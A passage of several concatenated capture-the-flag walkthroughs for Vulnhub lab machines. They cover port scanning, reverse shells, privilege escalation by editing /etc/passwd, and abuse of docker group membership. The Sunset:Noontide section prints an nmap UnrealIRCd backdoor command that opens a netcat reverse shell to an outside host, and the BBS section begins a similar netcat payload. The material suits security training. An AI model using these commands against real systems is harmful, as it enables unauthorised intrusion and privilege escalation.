Misdirection:1 - Walkthrough [Vulnhub]

Here's my solution for Misdirection:1.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
$ nmap -sC -sV -p- 192.168.1.109

We find 4 ports open.

Directory Scan
Browsing the web and checking the source did not reveal any hints.

From nmap's output we see that http service is also running on port 8080, lets browse it.

Still did not find any hints.

Using dirb to perform directory scanning.
$ dirb http://192.168.1.109:8080/ -r

Browsing /debug directory, we find a web-cli and we see that commands are running fine.


Getting Access
We encode the bash reverse shell payload in base64 format.

Before running it, on the other hand we start the net cat listener.

 

We get the reverse shell.

Privilege Escalation
From www-data > brexit
We check for sudo rights.

We see that, we can run /bin/bash as user- brexit.

User Flag.

We have full permission on file- /etc/passwd.

We can change the password for user- root.

On our machine we create a password as- password.

On target machine, In /etc/passwd file, we edit the password field, for the the user- root and save the file.

 

Now the user- root, has the password which we have set.

 

Switching to Root.
$ su root
Password: password

Root Flag.

Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root

Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag

Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
